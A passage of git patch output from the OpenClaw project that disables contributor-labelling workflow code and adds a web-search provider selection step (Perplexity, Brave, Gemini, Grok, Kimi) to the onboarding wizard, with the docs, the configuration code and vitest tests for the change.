// } catch (error) { + // if (error?.status !== 422) { + // throw error; + // } + // core.warning(`Skipping merged search for ${login}; treating as 0.`); + // } - let label = null; - if (mergedCount >= experiencedThreshold) { - label = experiencedLabel; - } else if (mergedCount >= trustedThreshold) { - label = trustedLabel; - } + const label = null; + // if (mergedCount >= experiencedThreshold) { + // label = experiencedLabel; + // } else if (mergedCount >= trustedThreshold) { + // label = trustedLabel; + // } contributorCache.set(login, label); return label; @@ -624,10 +626,10 @@ jobs: } const repo = `${context.repo.owner}/${context.repo.repo}`; - const trustedLabel = "trusted-contributor"; - const experiencedLabel = "experienced-contributor"; - const trustedThreshold = 4; - const experiencedThreshold = 10; + // const trustedLabel = "trusted-contributor"; + // const experiencedLabel = "experienced-contributor"; + // const trustedThreshold = 4; + // const experiencedThreshold = 10; let isMaintainer = false; try { @@ -652,34 +654,35 @@ jobs: return; } - const mergedQuery = `repo:${repo} is:pr is:merged author:${login}`; - let mergedCount = 0; - try { - const merged = await github.rest.search.issuesAndPullRequests({ - q: mergedQuery, - per_page: 1, - }); - mergedCount = merged?.data?.total_count ?? 0; - } catch (error) { - if (error?.status !== 422) { - throw error; - } - core.warning(`Skipping merged search for ${login}; treating as 0.`); - } - - if (mergedCount >= experiencedThreshold) { - await github.rest.issues.addLabels({ - ...context.repo, - issue_number: context.payload.issue.number, - labels: [experiencedLabel], - }); - return; - } - - if (mergedCount >= trustedThreshold) { - await github.rest.issues.addLabels({ - ...context.repo, - issue_number: context.payload.issue.number, - labels: [trustedLabel], - }); - } + // trusted-contributor and experienced-contributor labels disabled. + // const mergedQuery = `repo:${repo} is:pr is:merged author:${login}`; + // let mergedCount = 0; + // try { + // const merged = await github.rest.search.issuesAndPullRequests({ + // q: mergedQuery, + // per_page: 1, + // }); + // mergedCount = merged?.data?.total_count ?? 0; + // } catch (error) { + // if (error?.status !== 422) { + // throw error; + // } + // core.warning(`Skipping merged search for ${login}; treating as 0.`); + // } + // + // if (mergedCount >= experiencedThreshold) { + // await github.rest.issues.addLabels({ + // ...context.repo, + // issue_number: context.payload.issue.number, + // labels: [experiencedLabel], + // }); + // return; + // } + // + // if (mergedCount >= trustedThreshold) { + // await github.rest.issues.addLabels({ + // ...context.repo, + // issue_number: context.payload.issue.number, + // labels: [trustedLabel], + // }); + // } From 3d7bc5958dbd7f5c739b815e977b892e6fb40584 Mon Sep 17 00:00:00 2001 From: Kesku <62210496+kesku@users.noreply.github.com> Date: Fri, 6 Mar 2026 19:09:00 +0000 Subject: [PATCH 043/844] feat(onboarding): add web search to onboarding flow (#34009) * add web search to onboarding flow * remove post onboarding step (now redundant) * post-onboarding nudge if no web search set up * address comments * fix test mocking * add enabled: false assertion to the no-key test * --skip-search cli flag * use provider that a user has a key for * add assertions, replace the duplicated switch blocks * test for quickstart fast-path with existing config key * address comments * cover quickstart falls through to key test * bring back key source * normalize secret inputs instead of direct string trimming * preserve enabled: false if it's already set * handle missing API keys in flow * doc updates * hasExistingKey to detect both plaintext strings and SecretRef objects * preserve enabled state only on the "keep current" paths * add test for preserving * better gate flows * guard against invalid provider values in config * Update src/commands/configure.wizard.ts Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com> * format fix * only mentions env var when it's actually available * search apiKey fields now typed as SecretInput * if no provider check if any search provider key is detectable * handle both kimi keys * remove .filter(Boolean) * do not disable web_search after user enables it * update resolveSearchProvider * fix(onboarding): skip search key prompt in ref mode * fix: add onboarding web search step (#34009) (thanks @kesku) --------- Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com> Co-authored-by: Shadow --- CHANGELOG.md | 1 + docs/reference/api-usage-costs.md | 9 +- docs/reference/wizard.md | 6 + docs/start/wizard.md | 7 +- docs/tools/index.md | 4 +- src/agents/tools/web-search.ts | 52 +-- src/cli/program/register.onboard.ts | 2 + src/commands/configure.wizard.ts | 143 ++++---- src/commands/onboard-search.test.ts | 279 +++++++++++++++ src/commands/onboard-search.ts | 319 ++++++++++++++++++ src/commands/onboard-types.ts | 1 + src/config/config.web-search-provider.test.ts | 20 +- src/config/types.tools.ts | 10 +- src/wizard/onboarding.finalize.ts | 105 ++++-- src/wizard/onboarding.test.ts | 12 +- src/wizard/onboarding.ts | 10 + 16 files changed, 829 insertions(+), 151 deletions(-) create mode 100644 src/commands/onboard-search.test.ts create mode 100644 src/commands/onboard-search.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index cf05272cccd..86f6e09fe89 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -26,6 +26,7 @@ Docs: https://docs.openclaw.ai - Agents/context engine plugin interface: add `ContextEngine` plugin slot with full lifecycle hooks (`bootstrap`, `ingest`, `assemble`, `compact`, `afterTurn`, `prepareSubagentSpawn`, `onSubagentEnded`), slot-based registry with config-driven resolution, `LegacyContextEngine` wrapper preserving existing compaction behavior, scoped subagent runtime for plugin runtimes via `AsyncLocalStorage`, and `sessions.get` gateway method. Enables plugins like `lossless-claw` to provide alternative context management strategies without modifying core compaction logic. Zero behavior change when no context engine plugin is configured. (#22201) thanks @jalehman. - CLI: make read-only SecretRef status flows degrade safely (#37023) thanks @joshavant. - Docker/Podman extension dependency baking: add `OPENCLAW_EXTENSIONS` so container builds can preinstall selected bundled extension npm dependencies into the image for faster and more reproducible startup in container deployments. (#32223) Thanks @sallyom. +- Onboarding/web search: add provider selection step and full provider list in configure wizard, with SecretRef ref-mode support during onboarding. (#34009) Thanks @kesku and @thewilloftheshadow. ### Breaking diff --git a/docs/reference/api-usage-costs.md b/docs/reference/api-usage-costs.md index 071d91f3b30..28ead36b0c1 100644 --- a/docs/reference/api-usage-costs.md +++ b/docs/reference/api-usage-costs.md @@ -75,12 +75,15 @@ You can keep it local with `memorySearch.provider = "local"` (no API usage). See [Memory](/concepts/memory). -### 4) Web search tool (Brave / Perplexity via OpenRouter) +### 4) Web search tool -`web_search` uses API keys and may incur usage charges: +`web_search` uses API keys and may incur usage charges depending on your provider: +- **Perplexity Search API**: `PERPLEXITY_API_KEY` - **Brave Search API**: `BRAVE_API_KEY` or `tools.web.search.apiKey` -- **Perplexity** (via OpenRouter): `PERPLEXITY_API_KEY` or `OPENROUTER_API_KEY` +- **Gemini (Google Search)**: `GEMINI_API_KEY` +- **Grok (xAI)**: `XAI_API_KEY` +- **Kimi (Moonshot)**: `KIMI_API_KEY` or `MOONSHOT_API_KEY` See [Web tools](/tools/web). diff --git a/docs/reference/wizard.md b/docs/reference/wizard.md index 328063a0102..a6bacc5f2a1 100644 --- a/docs/reference/wizard.md +++ b/docs/reference/wizard.md @@ -94,6 +94,12 @@ For a high-level overview, see [Onboarding Wizard](/start/wizard). - [iMessage](/channels/imessage): legacy `imsg` CLI path + DB access. - DM security: default is pairing. First DM sends a code; approve via `openclaw pairing approve ` or use allowlists. + + - Pick a provider: Perplexity, Brave, Gemini, Grok, or Kimi (or skip). + - Paste your API key (QuickStart auto-detects keys from env vars or existing config). + - Skip with `--skip-search`. + - Configure later: `openclaw configure --section web`. + - macOS: LaunchAgent - Requires a logged-in user session; for headless, use a custom LaunchDaemon (not shipped). diff --git a/docs/start/wizard.md b/docs/start/wizard.md index 5a7ddcd4020..874dc4bf514 100644 --- a/docs/start/wizard.md +++ b/docs/start/wizard.md @@ -35,9 +35,10 @@ openclaw agents add -Recommended: set up a Brave Search API key so the agent can use `web_search` -(`web_fetch` works without a key). Easiest path: `openclaw configure --section web` -which stores `tools.web.search.apiKey`. Docs: [Web tools](/tools/web). +The onboarding wizard includes a web search step where you can pick a provider +(Perplexity, Brave, Gemini, Grok, or Kimi) and paste your API key so the agent +can use `web_search`. You can also configure this later with +`openclaw configure --section web`. Docs: [Web tools](/tools/web). ## QuickStart vs Advanced diff --git a/docs/tools/index.md b/docs/tools/index.md index 2418cf88688..0f311516dcd 100644 --- a/docs/tools/index.md +++ b/docs/tools/index.md @@ -256,7 +256,7 @@ Enable with `tools.loopDetection.enabled: true` (default is `false`). ### `web_search` -Search the web using Brave Search API. +Search the web using Perplexity, Brave, Gemini, Grok, or Kimi. Core parameters: @@ -265,7 +265,7 @@ Core parameters: Notes: -- Requires a Brave API key (recommended: `openclaw configure --section web`, or set `BRAVE_API_KEY`). +- Requires an API key for the chosen provider (recommended: `openclaw configure --section web`). - Enable via `tools.web.search.enabled`. - Responses are cached (default 15 min). - See [Web tools](/tools/web) for setup. diff --git a/src/agents/tools/web-search.ts b/src/agents/tools/web-search.ts index eb7dc225ce9..1e4983f85e2 100644 --- a/src/agents/tools/web-search.ts +++ b/src/agents/tools/web-search.ts @@ -505,30 +505,7 @@ function resolveSearchProvider(search?: WebSearchConfig): (typeof SEARCH_PROVIDE // Auto-detect provider from available API keys (priority order) if (raw === "") { - // 1. Brave - if (resolveSearchApiKey(search)) { - logVerbose( - 'web_search: no provider configured, auto-detected "brave" from available API keys', - ); - return "brave"; - } - // 2. Gemini - const geminiConfig = resolveGeminiConfig(search); - if (resolveGeminiApiKey(geminiConfig)) { - logVerbose( - 'web_search: no provider configured, auto-detected "gemini" from available API keys', - ); - return "gemini"; - } - // 3. Kimi - const kimiConfig = resolveKimiConfig(search); - if (resolveKimiApiKey(kimiConfig)) { - logVerbose( - 'web_search: no provider configured, auto-detected "kimi" from available API keys', - ); - return "kimi"; - } - // 4. Perplexity + // 1. Perplexity const perplexityConfig = resolvePerplexityConfig(search); const { apiKey: perplexityKey } = resolvePerplexityApiKey(perplexityConfig); if (perplexityKey) { @@ -537,7 +514,22 @@ function resolveSearchProvider(search?: WebSearchConfig): (typeof SEARCH_PROVIDE ); return "perplexity"; } - // 5. Grok + // 2. Brave + if (resolveSearchApiKey(search)) { + logVerbose( + 'web_search: no provider configured, auto-detected "brave" from available API keys', + ); + return "brave"; + } + // 3. Gemini + const geminiConfig = resolveGeminiConfig(search); + if (resolveGeminiApiKey(geminiConfig)) { + logVerbose( + 'web_search: no provider configured, auto-detected "gemini" from available API keys', + ); + return "gemini"; + } + // 4. Grok const grokConfig = resolveGrokConfig(search); if (resolveGrokApiKey(grokConfig)) { logVerbose( @@ -545,9 +537,17 @@ function resolveSearchProvider(search?: WebSearchConfig): (typeof SEARCH_PROVIDE ); return "grok"; } + // 5. Kimi + const kimiConfig = resolveKimiConfig(search); + if (resolveKimiApiKey(kimiConfig)) { + logVerbose( + 'web_search: no provider configured, auto-detected "kimi" from available API keys', + ); + return "kimi"; + } } - return "brave"; + return "perplexity"; } function resolvePerplexityConfig(search?: WebSearchConfig): PerplexityConfig { diff --git a/src/cli/program/register.onboard.ts b/src/cli/program/register.onboard.ts index 7555b5c6b4e..03fb832a041 100644 --- a/src/cli/program/register.onboard.ts +++ b/src/cli/program/register.onboard.ts @@ -119,6 +119,7 @@ export function registerOnboardCommand(program: Command) { .option("--daemon-runtime ", "Daemon runtime: node|bun") .option("--skip-channels", "Skip channel setup") .option("--skip-skills", "Skip skills setup") + .option("--skip-search", "Skip search provider setup") .option("--skip-health", "Skip health check") .option("--skip-ui", "Skip Control UI/TUI prompts") .option("--node-manager ", "Node manager for skills: npm|pnpm|bun") @@ -193,6 +194,7 @@ export function registerOnboardCommand(program: Command) { daemonRuntime: opts.daemonRuntime as GatewayDaemonRuntime | undefined, skipChannels: Boolean(opts.skipChannels), skipSkills: Boolean(opts.skipSkills), + skipSearch: Boolean(opts.skipSearch), skipHealth: Boolean(opts.skipHealth), skipUi: Boolean(opts.skipUi), nodeManager: opts.nodeManager as NodeManagerChoice | undefined, diff --git a/src/commands/configure.wizard.ts b/src/commands/configure.wizard.ts index 38fedf8db3c..ac31b6d5f4e 100644 --- a/src/commands/configure.wizard.ts +++ b/src/commands/configure.wizard.ts @@ -166,18 +166,35 @@ async function promptWebToolsConfig( ): Promise { const existingSearch = nextConfig.tools?.web?.search; const existingFetch = nextConfig.tools?.web?.fetch; - const existingProvider = existingSearch?.provider ?? "brave"; - const hasPerplexityKey = Boolean( - existingSearch?.perplexity?.apiKey || process.env.PERPLEXITY_API_KEY, - ); - const hasBraveKey = Boolean(existingSearch?.apiKey || process.env.BRAVE_API_KEY); - const hasSearchKey = existingProvider === "perplexity" ? hasPerplexityKey : hasBraveKey; + const { + SEARCH_PROVIDER_OPTIONS, + resolveExistingKey, + hasExistingKey, + applySearchKey, + hasKeyInEnv, + } = await import("./onboard-search.js"); + type SP = (typeof SEARCH_PROVIDER_OPTIONS)[number]["value"]; + + const hasKeyForProvider = (provider: string): boolean => { + const entry = SEARCH_PROVIDER_OPTIONS.find((e) => e.value === provider); + if (!entry) { + return false; + } + return hasExistingKey(nextConfig, provider as SP) || hasKeyInEnv(entry); + }; + + const existingProvider: string = (() => { + const stored = existingSearch?.provider; + if (stored && SEARCH_PROVIDER_OPTIONS.some((e) => e.value === stored)) { + return stored; + } + return SEARCH_PROVIDER_OPTIONS.find((e) => hasKeyForProvider(e.value))?.value ?? "perplexity"; + })(); note( [ "Web search lets your agent look things up online using the `web_search` tool.", - "Choose a provider: Perplexity Search (recommended) or Brave Search.", - "Both return structured results (title, URL, snippet) for fast research.", + "Choose a provider and paste your API key.", "Docs: https://docs.openclaw.ai/tools/web", ].join("\n"), "Web search", @@ -186,30 +203,31 @@ async function promptWebToolsConfig( const enableSearch = guardCancel( await confirm({ message: "Enable web_search?", - initialValue: existingSearch?.enabled ?? hasSearchKey, + initialValue: + existingSearch?.enabled ?? SEARCH_PROVIDER_OPTIONS.some((e) => hasKeyForProvider(e.value)), }), runtime, ); - let nextSearch = { + let nextSearch: Record = { ...existingSearch, enabled: enableSearch, }; if (enableSearch) { + const providerOptions = SEARCH_PROVIDER_OPTIONS.map((entry) => { + const configured = hasKeyForProvider(entry.value); + return { + value: entry.value, + label: entry.label, + hint: configured ? `${entry.hint} · configured` : entry.hint, + }; + }); + const providerChoice = guardCancel( await select({ message: "Choose web search provider", - options: [ - { - value: "perplexity", - label: "Perplexity Search", - }, - { - value: "brave", - label: "Brave Search", - }, - ], + options: providerOptions, initialValue: existingProvider, }), runtime, @@ -217,59 +235,42 @@ async function promptWebToolsConfig( nextSearch = { ...nextSearch, provider: providerChoice }; - if (providerChoice === "perplexity") { - const hasKey = Boolean(existingSearch?.perplexity?.apiKey); - const keyInput = guardCancel( - await text({ - message: hasKey - ? "Perplexity API key (leave blank to keep current or use PERPLEXITY_API_KEY)" - : "Perplexity API key (paste it here; leave blank to use PERPLEXITY_API_KEY)", - placeholder: hasKey ? "Leave blank to keep current" : "pplx-...", - }), - runtime, - ); - const key = String(keyInput ?? "").trim(); - if (key) { - nextSearch = { - ...nextSearch, - perplexity: { ...existingSearch?.perplexity, apiKey: key }, - }; - } else if (!hasKey && !process.env.PERPLEXITY_API_KEY) { - note( - [ - "No key stored yet, so web_search will stay unavailable.", - "Store a key here or set PERPLEXITY_API_KEY in the Gateway environment.", - "Get your API key at: https://www.perplexity.ai/settings/api", - "Docs: https://docs.openclaw.ai/tools/web", - ].join("\n"), - "Web search", - ); - } + const entry = SEARCH_PROVIDER_OPTIONS.find((e) => e.value === providerChoice)!; + const existingKey = resolveExistingKey(nextConfig, providerChoice as SP); + const keyConfigured = hasExistingKey(nextConfig, providerChoice as SP); + const envAvailable = entry.envKeys.some((k) => Boolean(process.env[k]?.trim())); + const envVarNames = entry.envKeys.join(" / "); + + const keyInput = guardCancel( + await text({ + message: keyConfigured + ? envAvailable + ? `${entry.label} API key (leave blank to keep current or use ${envVarNames})` + : `${entry.label} API key (leave blank to keep current)` + : envAvailable + ? `${entry.label} API key (paste it here; leave blank to use ${envVarNames})` + : `${entry.label} API key`, + placeholder: keyConfigured ? "Leave blank to keep current" : entry.placeholder, + }), + runtime, + ); + const key = String(keyInput ?? "").trim(); + + if (key || existingKey) { + const applied = applySearchKey(nextConfig, providerChoice as SP, (key || existingKey)!); + nextSearch = { ...applied.tools?.web?.search }; + } else if (keyConfigured || envAvailable) { + nextSearch = { ...nextSearch }; } else { - const hasKey = Boolean(existingSearch?.apiKey); - const keyInput = guardCancel( - await text({ - message: hasKey - ? "Brave Search API key (leave blank to keep current or use BRAVE_API_KEY)" - : "Brave Search API key (paste it here; leave blank to use BRAVE_API_KEY)", - placeholder: hasKey ? "Leave blank to keep current" : "BSA...", - }), - runtime, + note( + [ + "No key stored yet — web_search won't work until a key is available.", + `Store a key here or set ${envVarNames} in the Gateway environment.`, + `Get your API key at: ${entry.signupUrl}`, + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", ); - const key = String(keyInput ?? "").trim(); - if (key) { - nextSearch = { ...nextSearch, apiKey: key }; - } else if (!hasKey && !process.env.BRAVE_API_KEY) { - note( - [ - "No key stored yet, so web_search will stay unavailable.", - "Store a key here or set BRAVE_API_KEY in the Gateway environment.", - "Get your API key at: https://brave.com/search/api/", - "Docs: https://docs.openclaw.ai/tools/web", - ].join("\n"), - "Web search", - ); - } } } diff --git a/src/commands/onboard-search.test.ts b/src/commands/onboard-search.test.ts new file mode 100644 index 00000000000..d8ed9e8ce6f --- /dev/null +++ b/src/commands/onboard-search.test.ts @@ -0,0 +1,279 @@ +import { describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../config/config.js"; +import type { RuntimeEnv } from "../runtime.js"; +import type { WizardPrompter } from "../wizard/prompts.js"; +import { SEARCH_PROVIDER_OPTIONS, setupSearch } from "./onboard-search.js"; + +const runtime: RuntimeEnv = { + log: vi.fn(), + error: vi.fn(), + exit: ((code: number) => { + throw new Error(`unexpected exit ${code}`); + }) as RuntimeEnv["exit"], +}; + +function createPrompter(params: { selectValue?: string; textValue?: string }): { + prompter: WizardPrompter; + notes: Array<{ title?: string; message: string }>; +} { + const notes: Array<{ title?: string; message: string }> = []; + const prompter: WizardPrompter = { + intro: vi.fn(async () => {}), + outro: vi.fn(async () => {}), + note: vi.fn(async (message: string, title?: string) => { + notes.push({ title, message }); + }), + select: vi.fn( + async () => params.selectValue ?? "perplexity", + ) as unknown as WizardPrompter["select"], + multiselect: vi.fn(async () => []) as unknown as WizardPrompter["multiselect"], + text: vi.fn(async () => params.textValue ?? ""), + confirm: vi.fn(async () => true), + progress: vi.fn(() => ({ update: vi.fn(), stop: vi.fn() })), + }; + return { prompter, notes }; +} + +describe("setupSearch", () => { + it("returns config unchanged when user skips", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ selectValue: "__skip__" }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result).toBe(cfg); + }); + + it("sets provider and key for perplexity", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ + selectValue: "perplexity", + textValue: "pplx-test-key", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.provider).toBe("perplexity"); + expect(result.tools?.web?.search?.perplexity?.apiKey).toBe("pplx-test-key"); + expect(result.tools?.web?.search?.enabled).toBe(true); + }); + + it("sets provider and key for brave", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ + selectValue: "brave", + textValue: "BSA-test-key", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.provider).toBe("brave"); + expect(result.tools?.web?.search?.enabled).toBe(true); + expect(result.tools?.web?.search?.apiKey).toBe("BSA-test-key"); + }); + + it("sets provider and key for gemini", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ + selectValue: "gemini", + textValue: "AIza-test", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.provider).toBe("gemini"); + expect(result.tools?.web?.search?.enabled).toBe(true); + expect(result.tools?.web?.search?.gemini?.apiKey).toBe("AIza-test"); + }); + + it("sets provider and key for grok", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ + selectValue: "grok", + textValue: "xai-test", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.provider).toBe("grok"); + expect(result.tools?.web?.search?.enabled).toBe(true); + expect(result.tools?.web?.search?.grok?.apiKey).toBe("xai-test"); + }); + + it("sets provider and key for kimi", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ + selectValue: "kimi", + textValue: "sk-moonshot", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.provider).toBe("kimi"); + expect(result.tools?.web?.search?.enabled).toBe(true); + expect(result.tools?.web?.search?.kimi?.apiKey).toBe("sk-moonshot"); + }); + + it("shows missing-key note when no key is provided and no env var", async () => { + const cfg: OpenClawConfig = {}; + const { prompter, notes } = createPrompter({ + selectValue: "brave", + textValue: "", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.provider).toBe("brave"); + expect(result.tools?.web?.search?.enabled).toBeUndefined(); + const missingNote = notes.find((n) => n.message.includes("No API key stored")); + expect(missingNote).toBeDefined(); + }); + + it("keeps existing key when user leaves input blank", async () => { + const cfg: OpenClawConfig = { + tools: { + web: { + search: { + provider: "perplexity", + perplexity: { apiKey: "existing-key" }, + }, + }, + }, + }; + const { prompter } = createPrompter({ + selectValue: "perplexity", + textValue: "", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.perplexity?.apiKey).toBe("existing-key"); + expect(result.tools?.web?.search?.enabled).toBe(true); + }); + + it("advanced preserves enabled:false when keeping existing key", async () => { + const cfg: OpenClawConfig = { + tools: { + web: { + search: { + provider: "perplexity", + enabled: false, + perplexity: { apiKey: "existing-key" }, + }, + }, + }, + }; + const { prompter } = createPrompter({ + selectValue: "perplexity", + textValue: "", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.perplexity?.apiKey).toBe("existing-key"); + expect(result.tools?.web?.search?.enabled).toBe(false); + }); + + it("quickstart skips key prompt when config key exists", async () => { + const cfg: OpenClawConfig = { + tools: { + web: { + search: { + provider: "perplexity", + perplexity: { apiKey: "stored-pplx-key" }, + }, + }, + }, + }; + const { prompter } = createPrompter({ selectValue: "perplexity" }); + const result = await setupSearch(cfg, runtime, prompter, { + quickstartDefaults: true, + }); + expect(result.tools?.web?.search?.provider).toBe("perplexity"); + expect(result.tools?.web?.search?.perplexity?.apiKey).toBe("stored-pplx-key"); + expect(result.tools?.web?.search?.enabled).toBe(true); + expect(prompter.text).not.toHaveBeenCalled(); + }); + + it("quickstart preserves enabled:false when search was intentionally disabled", async () => { + const cfg: OpenClawConfig = { + tools: { + web: { + search: { + provider: "perplexity", + enabled: false, + perplexity: { apiKey: "stored-pplx-key" }, + }, + }, + }, + }; + const { prompter } = createPrompter({ selectValue: "perplexity" }); + const result = await setupSearch(cfg, runtime, prompter, { + quickstartDefaults: true, + }); + expect(result.tools?.web?.search?.provider).toBe("perplexity"); + expect(result.tools?.web?.search?.perplexity?.apiKey).toBe("stored-pplx-key"); + expect(result.tools?.web?.search?.enabled).toBe(false); + expect(prompter.text).not.toHaveBeenCalled(); + }); + + it("quickstart falls through to key prompt when no key and no env var", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ selectValue: "grok", textValue: "" }); + const result = await setupSearch(cfg, runtime, prompter, { + quickstartDefaults: true, + }); + expect(prompter.text).toHaveBeenCalled(); + expect(result.tools?.web?.search?.provider).toBe("grok"); + expect(result.tools?.web?.search?.enabled).toBeUndefined(); + }); + + it("quickstart skips key prompt when env var is available", async () => { + const orig = process.env.BRAVE_API_KEY; + process.env.BRAVE_API_KEY = "env-brave-key"; + try { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ selectValue: "brave" }); + const result = await setupSearch(cfg, runtime, prompter, { + quickstartDefaults: true, + }); + expect(result.tools?.web?.search?.provider).toBe("brave"); + expect(result.tools?.web?.search?.enabled).toBe(true); + expect(prompter.text).not.toHaveBeenCalled(); + } finally { + if (orig === undefined) { + delete process.env.BRAVE_API_KEY; + } else { + process.env.BRAVE_API_KEY = orig; + } + } + }); + + it("stores env-backed SecretRef when secretInputMode=ref for perplexity", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ selectValue: "perplexity" }); + const result = await setupSearch(cfg, runtime, prompter, { + secretInputMode: "ref", + }); + expect(result.tools?.web?.search?.provider).toBe("perplexity"); + expect(result.tools?.web?.search?.perplexity?.apiKey).toEqual({ + source: "env", + provider: "default", + id: "PERPLEXITY_API_KEY", + }); + expect(prompter.text).not.toHaveBeenCalled(); + }); + + it("stores env-backed SecretRef when secretInputMode=ref for brave", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ selectValue: "brave" }); + const result = await setupSearch(cfg, runtime, prompter, { + secretInputMode: "ref", + }); + expect(result.tools?.web?.search?.provider).toBe("brave"); + expect(result.tools?.web?.search?.apiKey).toEqual({ + source: "env", + provider: "default", + id: "BRAVE_API_KEY", + }); + expect(prompter.text).not.toHaveBeenCalled(); + }); + + it("stores plaintext key when secretInputMode is unset", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ + selectValue: "brave", + textValue: "BSA-plain", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.apiKey).toBe("BSA-plain"); + }); + + it("exports all 5 providers in SEARCH_PROVIDER_OPTIONS", () => { + expect(SEARCH_PROVIDER_OPTIONS).toHaveLength(5); + const values = SEARCH_PROVIDER_OPTIONS.map((e) => e.value); + expect(values).toEqual(["perplexity", "brave", "gemini", "grok", "kimi"]); + }); +}); diff --git a/src/commands/onboard-search.ts b/src/commands/onboard-search.ts new file mode 100644 index 00000000000..fa12720a25f --- /dev/null +++ b/src/commands/onboard-search.ts @@ -0,0 +1,319 @@ +import type { OpenClawConfig } from "../config/config.js"; +import { + DEFAULT_SECRET_PROVIDER_ALIAS, + type SecretInput, + type SecretRef, + hasConfiguredSecretInput, + normalizeSecretInputString, +} from "../config/types.secrets.js"; +import type { RuntimeEnv } from "../runtime.js"; +import type { WizardPrompter } from "../wizard/prompts.js"; +import type { SecretInputMode } from "./onboard-types.js"; + +export type SearchProvider = "perplexity" | "brave" | "gemini" | "grok" | "kimi"; + +type SearchProviderEntry = { + value: SearchProvider; + label: string; + hint: string; + envKeys: string[]; + placeholder: string; + signupUrl: string; +}; + +export const SEARCH_PROVIDER_OPTIONS: readonly SearchProviderEntry[] = [ + { + value: "perplexity", + label: "Perplexity Search", + hint: "Structured results · domain/language/freshness filters", + envKeys: ["PERPLEXITY_API_KEY"], + placeholder: "pplx-...", + signupUrl: "https://www.perplexity.ai/settings/api", + }, + { + value: "brave", + label: "Brave Search", + hint: "Structured results · region-specific", + envKeys: ["BRAVE_API_KEY"], + placeholder: "BSA...", + signupUrl: "https://brave.com/search/api/", + }, + { + value: "gemini", + label: "Gemini (Google Search)", + hint: "Google Search grounding · AI-synthesized", + envKeys: ["GEMINI_API_KEY"], + placeholder: "AIza...", + signupUrl: "https://aistudio.google.com/apikey", + }, + { + value: "grok", + label: "Grok (xAI)", + hint: "xAI web-grounded responses", + envKeys: ["XAI_API_KEY"], + placeholder: "xai-...", + signupUrl: "https://console.x.ai/", + }, + { + value: "kimi", + label: "Kimi (Moonshot)", + hint: "Moonshot web search", + envKeys: ["KIMI_API_KEY", "MOONSHOT_API_KEY"], + placeholder: "sk-...", + signupUrl: "https://platform.moonshot.cn/", + }, +] as const; + +export function hasKeyInEnv(entry: SearchProviderEntry): boolean { + return entry.envKeys.some((k) => Boolean(process.env[k]?.trim())); +} + +function rawKeyValue(config: OpenClawConfig, provider: SearchProvider): unknown { + const search = config.tools?.web?.search; + switch (provider) { + case "brave": + return search?.apiKey; + case "perplexity": + return search?.perplexity?.apiKey; + case "gemini": + return search?.gemini?.apiKey; + case "grok": + return search?.grok?.apiKey; + case "kimi": + return search?.kimi?.apiKey; + } +} + +/** Returns the plaintext key string, or undefined for SecretRefs/missing. */ +export function resolveExistingKey( + config: OpenClawConfig, + provider: SearchProvider, +): string | undefined { + return normalizeSecretInputString(rawKeyValue(config, provider)); +} + +/** Returns true if a key is configured (plaintext string or SecretRef). */ +export function hasExistingKey(config: OpenClawConfig, provider: SearchProvider): boolean { + return hasConfiguredSecretInput(rawKeyValue(config, provider)); +} + +/** Build an env-backed SecretRef for a search provider. */ +function buildSearchEnvRef(provider: SearchProvider): SecretRef { + const entry = SEARCH_PROVIDER_OPTIONS.find((e) => e.value === provider); + const envVar = entry?.envKeys.find((k) => Boolean(process.env[k]?.trim())) ?? entry?.envKeys[0]; + if (!envVar) { + throw new Error( + `No env var mapping for search provider "${provider}" in secret-input-mode=ref.`, + ); + } + return { source: "env", provider: DEFAULT_SECRET_PROVIDER_ALIAS, id: envVar }; +} + +/** Resolve a plaintext key into the appropriate SecretInput based on mode. */ +function resolveSearchSecretInput( + provider: SearchProvider, + key: string, + secretInputMode?: SecretInputMode, +): SecretInput { + if (secretInputMode === "ref") { + return buildSearchEnvRef(provider); + } + return key; +} + +export function applySearchKey( + config: OpenClawConfig, + provider: SearchProvider, + key: SecretInput, +): OpenClawConfig { + const search = { ...config.tools?.web?.search, provider, enabled: true }; + switch (provider) { + case "brave": + search.apiKey = key; + break; + case "perplexity": + search.perplexity = { ...search.perplexity, apiKey: key }; + break; + case "gemini": + search.gemini = { ...search.gemini, apiKey: key }; + break; + case "grok": + search.grok = { ...search.grok, apiKey: key }; + break; + case "kimi": + search.kimi = { ...search.kimi, apiKey: key }; + break; + } + return { + ...config, + tools: { + ...config.tools, + web: { ...config.tools?.web, search }, + }, + }; +} + +function applyProviderOnly(config: OpenClawConfig, provider: SearchProvider): OpenClawConfig { + return { + ...config, + tools: { + ...config.tools, + web: { + ...config.tools?.web, + search: { + ...config.tools?.web?.search, + provider, + enabled: true, + }, + }, + }, + }; +} + +function preserveDisabledState(original: OpenClawConfig, result: OpenClawConfig): OpenClawConfig { + if (original.tools?.web?.search?.enabled !== false) { + return 